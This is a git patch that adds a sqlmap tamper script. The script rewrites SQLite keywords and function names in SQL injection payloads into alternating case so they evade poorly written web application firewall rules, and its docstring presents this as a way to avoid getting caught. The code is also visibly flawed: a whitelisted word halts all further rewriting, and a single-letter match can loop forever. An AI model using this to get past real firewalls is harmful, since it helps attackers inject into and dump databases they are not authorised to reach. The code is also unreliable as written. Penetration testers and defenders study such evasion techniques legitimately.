From c88288cb6fb73d77bd1e950d33ac42addd86ebe5 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Thu, 22 Nov 2018 04:22:29 +0100 Subject: [PATCH] Create sqlitemixedcase --- tamper/sqlitemixedcase | 70 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 tamper/sqlitemixedcase diff --git a/tamper/sqlitemixedcase b/tamper/sqlitemixedcase new file mode 100644 index 000000000..5cb3eeba8 --- /dev/null +++ b/tamper/sqlitemixedcase @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import randomRange +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces each SQLite keyword and core functions character with mixed case value (e.g. SELECT -> SeLeCt) + + Tested against: + * SQLite 3 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that has poorly written permissive regular expressions + * This tamper script should work against all (?) databases + * Usefull when some keywords like 'as' are part or words like 'last' + and that randomcase temper script get you caught because it outputted + 'lasT' ('as' is flagged where 'aS' or 'As' is not). + """ + + retVal = payload + + if payload: + for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): + word = match.group() + + # Some words can't be filtered or fingerprinting and dump will fail + # type='table' or FROM sqlite_master need to be untouched + # see https://www.sqlite.org/fileformat.html#storage_of_the_sql_database_schema + whitelist = ['TABLE','SQLITE_MASTER','TYPE','NAME','TBL_NAME','ROOTPAGE','SQL'] + + # SQLite keywords - see https://www.sqlite.org/lang_keywords.html + keywords = ['ABORT','ACTION','ADD','AFTER','ALL','ALTER','ANALYZE','AND','AS','ASC','ATTACH','AUTOINCREMENT','BEFORE','BEGIN','BETWEEN','BY','CASCADE','CASE','CAST','CHECK','COLLATE','COLUMN','COMMIT','CONFLICT','CONSTRAINT','CREATE','CROSS','CURRENT','CURRENT_DATE','CURRENT_TIME','CURRENT_TIMESTAMP','DATABASE','DEFAULT','DEFERRABLE','DEFERRED','DELETE','DESC','DETACH','DISTINCT','DO','DROP','EACH','ELSE','END','ESCAPE','EXCEPT','EXCLUSIVE','EXISTS','EXPLAIN','FAIL','FILTER','FOLLOWING','FOR','FOREIGN','FROM','FULL','GLOB','GROUP','HAVING','IF','IGNORE','IMMEDIATE','IN','INDEX','INDEXED','INITIALLY','INNER','INSERT','INSTEAD','INTERSECT','INTO','IS','ISNULL','JOIN','KEY','LEFT','LIKE','LIMIT','MATCH','NATURAL','NO','NOT','NOTHING','NOTNULL','NULL','OF','OFFSET','ON','OR','ORDER','OUTER','OVER','PARTITION','PLAN','PRAGMA','PRECEDING','PRIMARY','QUERY','RAISE','RANGE','RECURSIVE','REFERENCES','REGEXP','REINDEX','RELEASE','RENAME','REPLACE','RESTRICT','RIGHT','ROLLBACK','ROW','ROWS','SAVEPOINT','SELECT','SET','TEMP','TEMPORARY','THEN','TO','TRANSACTION','TRIGGER','UNBOUNDED','UNION','UNIQUE','UPDATE','USING','VACUUM','VALUES','VIEW','VIRTUAL','WHEN','WHERE','WINDOW','WITH','WITHOUT'] + # Some SQLite core functions - see https://www.sqlite.org/lang_corefunc.html + core_functions = ['ABS','CHANGES','CHAR','COALESCE','GLOB','HEX','IFNULL','INSTR','LAST_INSERT_ROWID','LENGTH','LIKE','LIKELIHOOD','LIKELY','LOAD_EXTENSION','LOWER','LTRIM','MAX','MIN','NULLIF','PRINTF','QUOTE','RANDOM','RANDOMBLOB','REPLACE','ROUND','RTRIM','SOUNDEX','SQLITE_COMPILEOPTION_GET','SQLITE_COMPILEOPTION_USED','SQLITE_OFFSET','SQLITE_SOURCE_ID','SQLITE_VERSION','SUBSTR','TOTAL_CHANGES','TRIM','TYPEOF','UNICODE','UNLIKELY','UPPER','ZEROBLOB'] + # common SQL reserved words - see https://www.drupal.org/docs/develop/coding-standards/list-of-sql-reserved-words + common = ['ANY','COUNT'] + + blacklist = list(set().union(keywords, core_functions, common)) + + if word.upper() in kb.keywords or ("%s(" % word) in payload or word.upper() in blacklist: + if word.upper() in whitelist: + break + + while True: + _ = "" + + for i in xrange(len(word)): + _ += word[i].upper() if i%2==0 else word[i].lower() + + if len(_) > 1 and _ not in (_.lower(), _.upper()): + break + + retVal = retVal.replace(word, _) + + return retVal